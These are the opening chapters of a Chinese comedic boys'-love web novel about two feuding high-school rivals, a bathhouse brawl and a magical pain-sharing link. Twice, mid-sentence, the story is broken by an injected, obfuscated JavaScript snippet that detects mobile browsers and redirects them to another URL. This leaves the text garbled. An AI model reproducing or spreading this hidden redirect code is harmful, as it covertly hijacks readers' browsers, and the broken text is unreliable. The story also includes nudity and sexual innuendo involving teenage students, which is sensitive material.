《不许伤我死对头!!!》 1. 死对头vs击剑 学校澡堂水汽弥漫,顾檐声头上的泡沫搓了一半,忽然没水了。 他心里咯噔一下,忽然升起不祥的预感。 不是吧,他昨天看了卡里还有两块多,本来想中午充的,一看人太多,就算了,想着至少还能撑一天,难道预判错了? 顾檐声用手指刮掉了眼皮上的白色泡沫,眯着眼睛去看刷卡机。 完犊子,还真没钱了,做人果然不能抱有侥幸心理。 现在这个时间点还挺尴尬的,大家都去食堂抢饭了,澡堂就他一个人。 他让室友帮忙带饭,自己特意趁着晚饭时间来洗澡,为的就是错开晚自习后的高峰期,没想到反倒坑了自己一把。 换衣间就在隔壁,但他洗澡前习惯把手机留在宿舍,现在想摇人都没办法。 总不能光着屁股跑出去喊人吧?或者把脏衣服再穿上…… 算了,有点恶心。 顾檐声决定再蹲会儿,碰碰运气。 只要能救他一条狗命,接下来谁进来谁就是他爸爸! 就在这时,门口忽然传来脚步声。 顾檐声连忙抬头望去,映入眼帘的是两条笔直有力的小腿。 姣好的腱子肌,小麦色皮肤,利落的肌肉线条向上一路蔓延至健硕紧致的大腿,再往上是薄肌覆盖的一截细腰,沿着腰线向内挤出两条极其吸睛的人鱼线…… 顾檐声慌乱地收回视线,垂下眼,喉结不自在地滚了滚。 真是冤家路窄,来的怎么是萧驰焕? …… 与此同时,萧驰焕大步流星地走到斜对角的一个花洒下面,离顾檐声不远不近的距离,视线下意识往顾檐声的方向瞄了一眼。 他还以为这么个阴间时间不会有人呢,只是这人不开水,也不动,跟个阴暗的小蘑菇似的静悄悄地蹲在角落,他刚进来时吓了一跳。 萧驰焕没在意地插了水卡。 哗啦啦的水声响起,热水流淌过身体的舒爽感让萧驰焕情不自禁地发出喟叹,余光又不经意瞥到斜对角。 那人脸皮挺薄,特意转了个身,用瘦削的脊背对着他,一副自欺欺人的模样。 萧驰焕沉默半晌,缓缓眯起眼睛,脸上的表情微微变化。 这他喵不是顾檐声吗?以为用屁股对着他,他就认不出来了吗?这人就算化成灰,他都能用显微镜一粒一粒地给他挑出来拼好! 这不巧了,难得的二人世界啊。 萧驰焕嘴角一勾,果断抽出水卡,吊儿郎当地迈开了步子。 …… 顾檐声正蜷着身子啃手时,忽然听到身后的水声停了,紧接着,脚步声趋近,一路来到了他隔壁的淋浴间,停了下来。 很快,白茫茫的水汽透过单薄的帘子从隔壁冒了进来,萧驰焕橘子味沐浴露的香气在他鼻尖弥散开来。 顾檐声忍不住搓了搓手臂上的鸡皮疙瘩,在心里暗骂。 神经病啊,好端端的跑到他隔壁来干嘛?难道是认出他来了? 这个念头一起,顾檐声抬起屁股就想跑,然后又被自己死死按捺住了。 不行,跑了不就怂了? 十七八的少年,面子比鸟大。 顾檐声开始硬着头皮搓头发,假装自己很忙的样子。 没水,就干搓,一个泡泡都搓不出来。 就,挺尴尬的。 “噗。”头顶忽然传来一声嗤笑,在空无一人的澡堂里展示出了如扩音器般的效果,让人想忽视都难。 顾檐声脸一红,骂道:“笑屁啊笑,没见过干洗吗?” “怎么,卡里没钱了?”萧驰焕不知什么时候撩开帘子,正嘚嘚瑟瑟地倚靠在帘子边,抱着胸,居高临下地望着顾檐声。 他过来时偷偷扫了一眼顾檐声的刷卡机,插着卡,但没出水,用小拇指想都知道是怎么回事。 难得撞见顾檐声窘迫的时候,萧驰焕肚子里的坏水儿一下子冒了出来。 他举起花洒往顾檐声背上浇了一下,心满意足地看到少年一个激灵,变成哆哆嗦嗦的落汤鸡,他鼻腔不禁溢出一声得逞的笑,抬抬下巴,轻佻地说:“叫声哥,卡借你。” 然而想象中的求饶并没有发生,只听身下传来男生古井无波的嗓音:“《狗叫型》。” 萧驰焕眉心一跳,垂眸看去。 就见浑身狼狈的少年缓缓把打湿的额发撸到脑后,露出一张被水浸湿的玉白面庞,眉眼浓黑如墨,眸子像水洗过的黑曜石般透亮。 随后,一根笔直修长的中指竖了起来。 顾檐声半边眉挑起,勾起的嘴角充满了明晃晃的挑衅。 萧驰焕笑容收敛了起来,扭动了一下脖子和手腕,沉声道:“顾檐声,你完了。” 顾檐声:“《恼羞成怒型》。” 萧驰焕当场表演一个恼羞成怒! 顾檐声见他真生气了,拔腿就跑。 然而萧驰焕的动作更快,长臂一捞便轻而易举地勾住了顾檐声的腰,把人用力掼进自己挺拔的胸膛,举起花洒就对着顾檐声的头一顿猛冲,一副恨不得把他浇死的架势,可能萧驰焕以为顾檐声是一盆花吧。 顾檐声一愣,赶紧趁机洗头。 萧驰焕惊呆了:“你好他喵无耻!” 顾檐声:“《辱骂型》。” 萧驰焕俊俏的脸蛋儿登时涨红了,纯粹是被眼前人气的,指着顾檐声的呆毛威胁:“今天你不把这声爸爸叫出来,爬都别想爬出这扇门!” 顾檐声疑惑:“刚才不还是叫哥吗?” 萧驰焕怒道:“涨价了!” 顾檐声悟了:“《奸商型》。” 萧驰焕:“……” 不是,你人机啊? 萧驰焕暴躁地摇晃顾檐声的肩膀:“给老子转人工!” 顾檐声:“《狗急跳墙型》。” 萧驰焕气得狗急跳墙,一手拿花洒,一手猛猛搓揉顾檐声的头发,搓了一会儿忽然感觉不太对劲,怎么这么像在帮他洗头呢? 眼见顾檐声头上的泡泡都快被他搓没了,总算反应过来的萧驰焕连忙撒手,顾檐声却突然抱住他的腰,用脑袋拱他的胸口,蹭他下巴下面流淌的水,试图洗头。 萧驰焕难以置信地把眼睛瞪成铜铃,几乎喊破音:“你变态!居然用我的洗澡水!” 顾檐声无所吊谓,反正他已经快洗完了,还省了一次洗头钱,这波儿不亏。 萧驰焕快要气死了,正想给顾檐声一点儿生为人父的颜色瞧瞧,门外忽然传来叽叽喳喳的说话声:“顾檐声,你被下水道冲走了吗?洗个澡怎么这么慢?” 是顾檐声的室友来找他了。 澡堂里的两人一愣,还没来得及分开,外面已经走进来了三个男生,身高从左往右就是从高到低依次排序,组合在一起就是一个wifi。 最左边戴着眼镜,头发稀疏的是岑修竹,年纪轻轻就一大把年纪,长得又高又瘦,人送外号大长杆君。 中间挺着肚子气冲冲的小胖子是禹洪淼。 最后一个戴着圆框眼镜的蘑菇头是冯萌,虽然长着娃娃脸,但嗓音格外低沉,可能这就是反差萌吧。 打头的禹洪淼一看顾檐声被萧驰焕按着用水浇头,顿时怒不可遏道:“狗日的萧老贼,敢动我兄弟,老子干死你!” 说完就不管不顾地冲了上去,一把将顾檐声从萧驰焕身上撕了下来,然后举起拳头就砸在了萧驰焕引以为豪的盛世美颜上。 萧驰焕脚底一阵打滑,差点儿原地跳了一个踢踏舞,怒道:“你狂犬病啊,上来就咬人!” 顾檐声赶紧解释:“禹洪淼你别添乱了,他没欺负我!” 岑修竹横眉竖眼,满脸不信:“那他按着你脖子是在干嘛?” 冯萌指着顾檐声脑门儿上还在滴水的刘海,粗声粗气道:“你脑子上要是有个洞,这会儿已经快被他灌满了!” 顾檐声说不清楚,急得胡言乱语:“其实他在帮我洗头!” 三个室友和萧驰焕:“???” 不说萧驰焕本人都不知道还有这事儿,顾檐声的室友们更是屁都不信。 一中谁不知道,高三三班的顾檐声和高三四班的萧驰焕是出了名的死对头,连带着两个班都互看不顺眼,萧老贼能有那么好心?连他们都没有帮顾檐声洗过头! 禹洪淼将顾檐声一把拽到身后:“仙儿,你就是太善良,人善被人骑,我们可不能眼睁睁看着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775617|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老贼骑在你头上!” 岑修竹一锤定音:“不必多言,兄弟们,直接上!” 三个人一起朝萧驰焕扑了上去,萧驰焕也不可能老老实实站着挨打,眨眼就跟他们仨儿打做一团。 萧驰焕个头高,有肌肉,按理来说武力值不错,可惜穿着拖鞋,被脚滑狠狠削弱了大半战力,一个没留神,身上就挨了好几下。 幸好他身上都是水,滑不溜秋的,拳头砸上去也得呲溜滑一下,跟坐滑滑梯似的,伤害度大大减小。 总体来看,倒也没受什么伤,就是打得挺不得劲儿的。 “你们他妈三打一!不讲武德!”萧驰焕不满大叫。 禹洪淼:“树不要皮,必死无疑!人不要脸,天下无敌!” 岑修竹:“人和畜生的区别就是畜生一辈子都是畜生,但人有时候不是人!” 冯萌:“今天我们仨儿就是畜生都不如,也得揍你一顿!” 萧驰焕是真不理解,有这种决心,做什么不能成功?一定要用来围殴他吗? 顾檐声几度试图上前劝架,却差点儿被横飞的拳头殃及池鱼,急得就差满地乱爬了。 澡堂实在不是什么打架的好场所,现场就他跟萧驰焕没穿衣服,整得跟捉奸现场似的,怪尴尬的。 而且他的眼睛一直忍不住往萧驰焕捏着拳头挥舞时尤为粗壮的膀子和健硕的大腿肌肉上瞄,小小焕的存在感更是十足十,打架的时候还在空中乱甩,画面十分美丽。 顾檐声缓缓闭眼,深吸一口气:“够了!都给我住手!” 萧驰焕一顿,下意识听话地收起拳头,而那边三个没他那么灵敏,顺着惯性撞到萧驰焕身上,萧驰焕本想闪躲,脚底一滑,又朝顾檐声倒去,忙喊: “小心——” 顾檐声反应不过来,眼睁睁望着一座光溜溜的大山朝自己压下来。 伴随一声痛呼,顾檐声四仰八叉地摔在硬邦邦的瓷砖地面上,和萧驰焕面对面抱了一个满怀,两个小的也趁机紧紧地贴在了一起,娇羞地打了一个招呼。 不过顾檐声这会儿可没工夫想那么多,落地的瞬间,一股剧痛从尾椎骨闪电般蹿上了他的天灵盖,顾檐声眼前一黑,感觉自己好像看到了如来佛祖。 三个室友哭天抢地地扑上来。 禹洪淼:“兄弟!我此生最好的兄弟!所以你的银行密码是多少?” 岑修竹:“仙儿,你坚持一下,我马上看120秒广告复活你!” 冯萌:“仙儿,你记住,你要是死了,你就死了!” 顾檐声眼前一黑又一黑,觉得自己好像又看见了斗战神佛在单挑玉皇大帝,他颤巍巍地伸出一条胳膊,气若游丝地吐息道:“别废话了,快来救驾……” 没等他的三个室友反应,萧驰焕已经迅速捞起顾檐声的腿弯,将他用公主抱的姿势稳稳当当地抱了起来。 顾檐声呼吸一滞,正要想入非非,禹洪淼就一个猛子扎过来,靠自己的吨位成功把萧驰焕创飞了:“不许用你的脏手碰我们仙儿!” 顾檐声只觉得自己的身体好像有一瞬间的滞空,接着美好的胸肌和大臂没了,取而代之的是禹洪淼肉嘟嘟的肚皮和双下巴。 禹洪淼取代了萧驰焕的位置,低头,隔空抛了一个恶心的飞吻,与顾檐声深情对视:“不要太感动,man,bro永远罩着你。” 顾檐声安详地闭上了眼睛:“……” 不敢动,一点都不敢动。 他选择直接安息。 最后,顾檐声是被三个室友生生扛出去的。 路过萧驰焕的时候,顾檐声下意识往小小声上矜持地捂了捂。 萧驰焕最看不惯顾檐声这种在外人面前跟他装不熟的死样子,抖着腿,故意夹着嗓子,吊吊地说:“有什么好捂的,我又不是没见过,我不仅见过,我小时候还用嘴尝……” 顾檐声垂死病中惊坐起,一巴掌甩在萧驰焕脆弱的大兄弟脸上。 萧驰焕嘴闭上了,腰也缓缓弯下去了。 冯萌没听清,边走边问:“他刚刚说他小时候怎么了?” 顾檐声甩了甩发烫的手,面颊滚烫,皮笑肉不笑道:“他说他小时候当过岛民。” 2. 宿敌vs竹马 顾檐声先去了一趟校医院看看,校医担心他骨裂了,建议他去医院拍个片儿。 三个室友听了,立刻欢天喜地地扛着顾檐声去找老班请假。 班主任大手一挥,批了顾檐声的请假条,然后就气定神闲地坐着不动了。 禹洪淼眨眨眼,眼巴巴地摊开一双手,要饭似的:“老师,我们的呢?” 班主任随手抓起一张卷子就拍在了禹洪淼肉乎乎的掌心里:“喏,赏你的,够不够?不够我这儿还有……” 禹洪淼抓着卷子,哭着跑出去了。 岑修竹和冯萌正要幸灾乐祸,下一秒,一人怀里就多了一道重量。 班主任笑眯眯道:“拿去发了,跟他们说晚自习之前交上来。” 岑修竹和冯萌:瞬间不嘻嘻。 …… 萧驰焕从回来以后就一直魂不守舍的,他是想陪着顾檐声,但先不谈他以什么立场、什么身份跟着,就顾檐声本人首先就不可能同意。 好在他们班就在顾檐声隔壁,萧驰焕亲眼看着顾檐声跟他三个室友进了办公室,没过多久,顾檐声那三个室友回了教室,顾檐声却独自转身朝走廊这边走来。 萧驰焕连忙收回视线,举起课本装模作样地棒读道:“abandon,离弃丢弃遗弃抛弃放弃……” “萧驰焕!你要不再看看这是什么晚自习呢?”讲台前传来班主任怪里怪气的声音。 萧驰焕低头一看,才发现自己手里拿的数学练习册,有个鬼的abandon。 班主任兼数学老师咆哮道:“在我的数学晚自习上念叨什么鸟语呢?挑衅我?还abandon,我看你长得像个abandon!” 全班发出哄笑。 正巧将这一切尽收眼底的顾檐声嘴角情不自禁地翘了一下,嘀咕了一声“傻狗”,然后龇牙咧嘴地扶着后腰,一瘸一拐地走掉了。 等萧驰焕没脸没皮地向班主任道完歉,再朝走廊探出头时,顾檐声的身影已经消失在了走廊尽头。 萧驰焕烦躁地撸了一把头发,说不清心里是什么滋味儿。 他跟顾檐声的关系也不是一开始就这么你死我活的,相反,没有人知道,他们曾经是彼此最亲密的人。 他俩的妈妈是几十年的好闺蜜,小学初中高中大学全在一起,结婚后也一起买的一梯两户,就住在彼此的隔壁。 两家的孩子一直是一起养的,彼此还有对方家里的钥匙,开口要喊对方妈妈一声干妈。 他俩一起穿开裆裤,一起在泥巴里打滚,一起哭着挨骂挨打,一起洗澡然后抱着睡觉,尝过彼此的口水,也吃过对方的鼻涕,共同度过的时光比跟自个儿的爸妈还长,连连体婴儿都没他们亲密。 萧驰焕从小就十分很向往自己妈妈和干妈的友情,并且由衷地希望,他和顾檐声也能像他们的妈妈一样,以后考同一个大学,住同一个城市,买相邻的房子,连结婚生子都在一块儿。 他俩基因都不错,生的孩子性别一样就继续当好兄弟、好姐妹,性别不一样说不定有机会喜结良缘,光是想想就美好得不行。 他曾经一度以为,他们会一辈子在一起,所以,他们究竟是怎么走到如今这步的呢? 好像自从初二下学期开始,顾檐声就突然对他冷淡起来了。 一开始他还会主动求好,但热脸贴冷屁股多了,他也受不了。 他也只是一个半大少年,要面子,人家都甩脸色给他看了,他难道还要上赶着舔吗? 他又不犯贱。 如果只是这样,他们谁也不搭理谁就好,也不至于像现在这样,见了面不说亲个嘴儿,倒是恨不得把自己的拳头塞进对方嘴里。 这点确实是他的锅,他就是委屈,见不得顾檐声无缘无故不跟他好了,忍不住总要找顾檐声点麻烦,说到底就是像引起人家的注意,让人家搭理一下自己。 但顾檐声也不能白被挑衅啊,可不就还回去了。 这么来来回回时间长了,他俩就变成了这种水火不容的关系,连带着他们两边的朋友也成了互看不顺眼的死对头。 但如果有机会,萧驰焕还是想继续跟顾檐声天下第一好。 当然,前提是顾檐声得为这整整四年的冷落向他道歉! 晚自习就在萧驰焕怨妇一般的执念中飞快流逝了,下课铃一响,萧驰焕立马跑到隔壁班拦住了急着去放水的禹洪淼,开口就是一顿阴阳怪气:“你们不是他的好哥们儿吗?就让他一个人去冷冰冰的医院?你们对他真的是真心的吗?” 禹洪淼烦躁地抓乱了头发:“是我想上这个破晚自习的吗?老班不放行,我总不能有丝分裂一个我代替我做卷子吧?” 萧驰焕才不管这些,他一听,嘴角立刻勾出一抹讥笑,阴阳怪气道:“说到底,顾檐声对你们来说,还没有一份试卷重要。” “你喵的——!”禹洪淼举起拳头就往萧驰焕的脸上怼去,他算是看清楚了,这人就是来讨打的!他真的脑子有病才跟这孙子说这么多! 萧驰焕赶在禹洪淼的拳头落到脸上之前赶紧溜了,徒留禹洪淼在原地气得跳脚,最终还是败给了生理代谢,夹着腿,扭身去了厕所。 萧驰焕跑了一会儿停下来,转身看禹洪淼没追上来,便对着男厕所竖了一个中指,心想你能什么能,我和声声抱在一起啃嘴巴的时候,你们这群单身狗还只能孤零零地吃奶嘴呢。 说到顾檐声,也不知道他一个人去医院看得怎么样了…… 这么想着,萧驰焕拿出手机,点开了置顶的某人。 【189内向社恐纯情男高】:还说是什么最好的兄弟,居然让你一个人去看病,我看他们对你的关心也不过如此嘛~要是我,就算翻墙摔断腿,也要爬去医院陪你~ 开口就是莫名其妙的雄竞。 …… 医院。 顾檐声刚拍完片子出来,就看到了特别提醒发来的消息:“……” 绿茶喝多了吧这人,真是好茶,好茶啊。 顾檐声抽着嘴角,在手机上飞快点了一个点儿,发送。 【我妈妈说名字太长会有傻逼跟着念】:。 对面秒回,像是一直守在手机前似的。 【189内向社恐纯情男高】:靠,你这什么鬼名字?! 顾檐声瞄了一眼萧驰焕的昵称:“……” 这人有什么资格说他。 【我妈妈说名字太长会有傻逼跟着念】:没你骚[死鱼眼] 【189内向社恐纯情男高】:咋地,宝贝儿想要了? 【我妈妈说名字太长会有傻逼跟着念】:? 【189内向社恐纯情男高】:丫头,你还小,叔不碰你(极力忍耐,咬碎牙齿)但如果你敢离开叔(怒目而视,一脸认真)叔立刻要了你(狼性大发,双眼猩红)让你一辈子只能跟着叔(气泡音,低沉磁性)承认吧,你早就迷上叔了(自信迷人,光彩照人)你就是小男生的娇羞和矜持(撕开衬衣,露出胸肌)跟叔玩欲擒故纵是吧(逐渐发癫,帕金森发作)没关系,谁让叔喜欢你呢,叔等你啊臭丫头(脸色阴晴不定,如打翻的调色盘般五颜六色,而后春风化雨,一脸柔情)丫头,留在叔的身边,做叔的小野猫(表情荡漾,邪魅一笑)叔就是狼王~嗷呜~ 顾檐声差点被口水呛死:“……” 少上点网吧,看把孩子荼毒成什么样儿了。 【我妈妈说名字太长会有傻逼跟着念】:…………………………傻逼。 对面的萧驰焕顿时失笑。 句子末尾带标点,是真无语了。 还有功夫听他发骚,看来不算太严重。 要知道顾檐声真难受的时候,可是连手机都没心思碰的。 想到这里,萧驰焕不免稍微松了一口气。 当然也不能完全放心,还得明天见了真人再看看情况。 短暂放下心后,萧驰焕总算有心思处理其他未读消息了。 在此期间,萧驰焕的视线总是控制不住地往某人的头像上瞄,并且由于阅读速度过快,每次都忍不住默念昵称然后被迫当傻逼。 啧,这昵称真不吉利,换了吧。 五秒后,顾檐声的备注赫然变成了—— 【还回家吃饭不?死鬼!】 …… CT很快拿到手了,好在顾檐声没真骨裂,只是有点软组织挫伤,医生开了药膏,说是涂一两周就差不多好了。 回学校的时候,晚自习已经结束了。 顾檐声先去把水卡充了,然后又去澡堂冲了一个澡,虽然他出门前刚从澡堂出来,但医院细菌多,他总感觉不洗澡身上不干净。 回到寝室,室友们对于下午的澡堂事件仍然义愤填膺。 禹洪淼甚至发誓:“下次见面,我一脚踹碎萧狗的蛋,给咱仙儿的屁股陪葬!” 顾檐声对此十分无奈,都说了他俩没打架,但眼见为实,三个室友没一个人信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775618|190298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟全校都知道,高三三班的顾檐声和高三四班的萧驰焕是一对两看相厌的死对头,他俩就像两把开了刃的剑,一旦相撞必火花四溅,不见眼泪不罢休。 这回顾檐声受了伤,室友们便商量着下回该怎么在萧驰焕的身上讨回来。 顾檐声劝不动,也怕说多了惹人生疑,只好默默爬上床,拉上帘子,脱了裤子,姿势别扭地给自己抹药。 岑修竹在下面关心道:“仙儿,你自己涂方便吗?要不要我们帮你?” 顾檐声下意识拽住了裤子,忙说:“不用了,我自己来就好。” “都同居三年了,咱们仙儿还是这么害羞。”冯萌笑嘻嘻地说,没把顾檐声的拒绝放在心上。 男寝很少有挂帘子的,男生之间不太讲究这些,光着膀子穿着内裤晃来晃去都是日常,听说还有不见外的甚至在宿舍举办一年一度赏鸟大会,邀请街坊邻居一起遛鸟,说出去能随机吓死一个社恐。 但顾檐声从高一开学就跟别的男生不一样,不仅从来不在宿舍打赤膊,换衣服一定会去床上拉帘子,甚至连每天洗澡,都要趁着没人的时间偷偷洗。 大家只以为他脸皮比较薄,也没多想,还调侃他精致得像仙儿。 实际上,高中开学那段时间,顾檐声刚意识到自己的性取向没多久,和同性之间相处,有点无措,举止不免夸张了一点,如今经过这么多年的思想斗争,也差不多该认命了。 而那个让顾檐声开窍的人,不是别人,正是如今他传言中的死对头,萧驰焕。 没有人知道,顾檐声暗恋萧驰焕好几年了。 他在初二下学期突然意识到自己喜欢上了从小一起长大的竹马,从此下定决心疏远,与其被萧驰焕发现后厌恶,不如自己主动离开。 而他做出决定的理由很简单。 萧驰焕是直男,并且对同性恋深恶痛绝。 当然,如果他能一直隐瞒下去,他们未必不能做一辈子的好朋友。 但顾檐声是一个爱憎分明的人,在对待与萧驰焕的感情时,尤为严苛与吝啬。 要么当恋人,要么当陌生人,他从未给自己和萧驰焕之间留有第三种选择。 如今他主动选择了当陌生人,还和萧驰焕的关系弄得这么僵,也都是他自找的。 说到底,还不是他活该,怪他控制不止自己的感情,喜欢上了不该喜欢的人,也从此失去了自己这辈子最好的朋友。 …… 寝室没一会儿就熄灯了。 顾檐声疼得睡不着,干脆趴在床上,有一搭没一搭地刷学校论坛。 也不知道就这么翻了多少页,连室友们都打起了呼噜,一个20年多前的陈年老帖忽然闯入顾檐声的视野里。 发帖人:【預言の咒戀╮大魔法家】 主题贴:【乃们有木有听说过一个古老的校园传说捏~~~~~】 主楼:【如题,听说周五下午5点55分55秒在5楼男寝澡堂里击剑的处男,就能获得来自哲♂学大神的神秘魔法哦~~~杯具~~~~~】 1L:【ベ純情小莮子】:矮油~~击剑什么的最讨厌啦~~~~~偶才不要呢!泥、泥奏凯~~~~~!!!!! 2L:【失色旳瞳孔ㄨ】:汗......偶也想中这种魔法...但素偶木有小几几~呜~~~飘走~~~~~ 3L:【峩们つ曾爱过】:^_^好好玩哦~~~笑~~~~~~~~~~~ 4L:【莪們④糖,甜到忧伤…】口水ing~~~俺想看帅哥哥击剑!哟呵呵呵呵~~~~~鸡冻~~~~~~~~!!! 顾檐声顿时一阵恶寒。 哦买噶,20年前的人说话都是这样的吗? 好可怕。 那一条条荡漾的波浪线仿佛有声音般在脑海中挥之不去,顾檐声甩了甩脑袋,也没心思继续看下去了。 放下手机,睡觉。 至于所谓的古老校园传说……顾檐声还真没放在心上。 还神秘魔法,你咋不说30岁还是处男就能获得读心术呢?骗小孩儿呢这是。 …… 凌晨,万籁俱寂。 顾檐声毫无所觉地翻了一个身,四肢大咧咧地展开,仰面躺在床上,睡得香甜。 然而,隔壁寝室的萧驰焕却猝然睁眼,小脸煞白,浑身冷汗,被活生生疼醒了。 怎么回事?他的屁股突然好痛啊,跟被门夹过的核桃似的,好像要裂开了! 3. 魔法vs断子绝孙脚 顾檐声睡了一觉起来,惊喜地发现,自己的屁股好像不疼了? 他忙不迭爬下床,试着走动,踢腿,还原地跳了跳,一整个健步如飞,健壮如牛。 神药啊这是,一晚上就见效了,天知道他昨晚睡前还在纠结今早要不要弄个枕头去教室垫着坐呢! 然而顾檐声不知道的是,一墙之隔的萧驰焕在他下床跳动的一瞬间,赫然被疼醒了。 顾檐声每蹦一下,萧驰焕的屁股就裂一下。 顾檐声再蹦一下,萧驰焕整个裂开。 萧驰焕:“……” 怎么回事啊?屁股还能鬼压床? 萧驰焕忍着一抽抽的疼,艰难地从爬下床,走到洗手间,望着镜子里自己沧桑的帅脸,满眼迷茫。 昨晚他屁股疼得一晚上没睡好。 如果他没记错的话,昨天摔了一个屁股墩儿的是顾檐声,不是他吧? 顾檐声的屁股长他身上了? 从厕所门口路过的胡啸天看到萧驰焕鬼一样的脸色,吓了一跳:“萧总,你这是在梦里蹦了一晚上迪吗?看这小脸儿白的,勤武焱在外面滚三天三夜的床单都滚不出这个效果。” 他们宿舍唯一脱单人士勤武焱觉得自己的清白受到了玷污,立马反驳:“你放屁,老子从来不滚床单!我走的纯爱路线好吗?” 胡啸天表情古怪:“那你俩每天晚上在外面开房,是觉得两个人一起睡觉好取暖吗?” 潘铁心看了一眼天气预报,今日气温最高38℃最低28℃,觉得胡啸天嘴里的行为多少有点毛病。 “喵的,说到这个就来气,”勤武焱举起的双手微微颤抖,“我女朋友她班主任布置的作业太他喵多了,我跟她两个人每天要熬到凌晨一点才能写完!我现在看见酒店里的床就手抖,这辈子都不想开房了!” 潘铁心乐了:“别人盖着被子纯聊天,你俩盖着被子内卷啊。” 勤武焱说着还骄傲,挺了挺胸膛道:“而且她的大部分作业,都是我帮她写的!” 胡啸天默了:“不理解,但尊重祝福。” 萧驰焕也沉默了,半晌后感慨:“还是单身好啊,至少只用写一个人的作业。” 胡啸天立马扭头看向萧驰焕:“可你又没有女朋友需要帮忙赶作业,难道你晚上背着我们在床上偷偷内卷了?” “屁,小小学习才不值得我熬夜,”萧驰焕说着,忽然左右看了看,然后手搁在嘴边,低头凑近,嗓音压低,阴恻恻地说,“我怀疑,我们宿舍里有脏东西!” “什么?你见鬼了?”胡啸天夸张地用双手捂住嘴巴,下一秒,目露兴奋,“男的女的啊,穿红裙子不?好看不?” 萧驰焕啧一声:“性缘脑,滚。” “你能问点正常问题吗?”勤武焱嫌弃地把胡啸天推开,然后一脸八卦地凑到萧驰焕面前,眨巴眼,“多大啊,单身吗?是我们学校的不?” 萧驰焕:“泼出去的水,你也滚。” 虽然室友们嘴巴欠欠的,但关心总是真的。 插科打诨了一圈,话题又绕回了萧驰焕苍白的脸色上。 萧驰焕不好说自己莫名其妙屁股疼,就含糊地说自己身体不舒服,没睡好。 “肯定是我昨晚睡觉姿势不对,今天换个姿势睡就好了。”萧驰焕敷衍了两句,然后端着脸盆去厕所洗脸了。 萧驰焕大咧咧地走了,屋里室友的脸色却都不太好。 潘铁心瞥了一眼厕所的方向,见萧驰焕没注意他们,便把胡啸天和勤武焱招呼近一点,沉着嗓音,笃定道:“肯定是隔壁那群狗东西昨天把咱萧总打伤了! 勤武焱狠狠点头:“我觉得也是,咱萧总好面子,不好意思直说,但我们这群做兄弟的,总不能让自家兄弟白受伤!等下次见面,我不把他们打得哭爹喊娘,我下次数学只能考100!” 胡啸天一脚踹了上去,骂道:“你喵的想得美!你平时数学明明连90都考不到!” …… 十分钟后,经过了一晚良好睡眠的顾檐声红光满面地打开宿舍门,正巧隔壁的萧驰焕怀里抱着枕头,捂着屁股,一瘸一拐地走了出来。 四面相对,两人一起愣住,然后不约而同地用古怪的目光打量了一下彼此。 顾檐声:“你痔疮犯了?” 萧驰焕:“你屁股好了?” 萧驰焕觉得自己完美的屁股被恶意造谣了,脸顿时黑了:“我每天都做提肛运动,才不会得痔疮!” 顾檐声:“……” 他倒也没想知道这个。 顾檐声深吸一口气,尽量好声好气:“那你屁股怎么了?” 萧驰焕手搭在腰上,用一个妖娆的姿势扭头往后瞄,然后忍不住啧了一声:“我的屁股好像是比昨天翘了一点,这都被你发现了,你观察我观察得好仔细,你好爱我,四舍五入你是不是想跟我结婚?快给我从实招来!” 顾檐声转身就走。 还能跟他发骚,看来没什么大事。 他没有看到,当他迈开步子的那一刻,身后萧驰焕的表情顿时微微一变。 又来了,这熟悉的痛…… 萧驰焕手捂着自己的屁股,眼睛盯着顾檐声活动自如的屁股,陷入了沉思。 不对劲,十分非常极其的不对劲。 他也不是希望顾檐声有什么事,但这人怎么能一点事都没有呢? 昨天那一跤,摔得可是实实在在的,顾檐声的屁股又不是铁做的。 那么一下,就算不会要命,半条命也没了。 顾檐声昨天连人都是被室友抬出去的,怎么可能一晚上过去就什么事儿都没有了呢? 萧驰焕心中生疑,不禁微微眯起眸子,忽然冲上去,用力拍了一下顾檐声的屁股。 还弹动了一下,挺软。 然而萧驰焕完全没功夫想这些了。 因为他已经被痛死了! “萧驰焕!你有病啊!”顾檐声跟个兔子似的跳起来,嗖地反手捂住屁股,面红耳赤地瞪着萧驰焕,脸上有窘迫,却不见丝毫疼痛。 萧驰焕不信邪,一边呲着牙,又手贱地伸手过去捏了一把。 “萧驰焕!我看你是想死!”顾檐声抬手就打了过去,红晕从耳根一路蔓延到脖子,也不知是羞的还是气的。 萧驰焕一边捂屁股,一边咬着牙慌忙逃窜,动作十分不自然:“等一下,顾檐声,再让我摸两下试试……” 说出来怕你不信,你的屁股好像有魔法! “摸你几把摸!滚蛋你个死变态!”顾檐声把萧驰焕怼在墙上,又哐哐给了他好几捶,这才跺着脚,恼羞成怒地跑掉了。 萧驰焕好想叫住顾檐声,让他别跺了,震得他屁股疼。 此时的萧驰焕,一面在风中凌乱,一面疯狂头脑风暴,CPU都快烧了。 不是,他打顾檐声的屁股,为什么疼的是他自己的屁股啊? 啊? 真有魔法啊? …… 萧驰焕一个神经病的大动作,直接硬控顾檐声一上午。 不知怎么,顾檐声总感觉屁股底下的凳子不太对劲,坐着浑身刺挠。 他倒没有太多的愤怒和羞辱,只是一回想起萧驰焕拍在他屁股上的动静,他就觉得万分羞耻和难为情,恨不得原地跳起来土拨鼠尖叫。 顾檐声啪地用双手夹住脸,惊醒了一旁打瞌睡的同桌。 英语老师在讲台上陶醉地朗读:“calmdown,冷静,平息,镇定……” 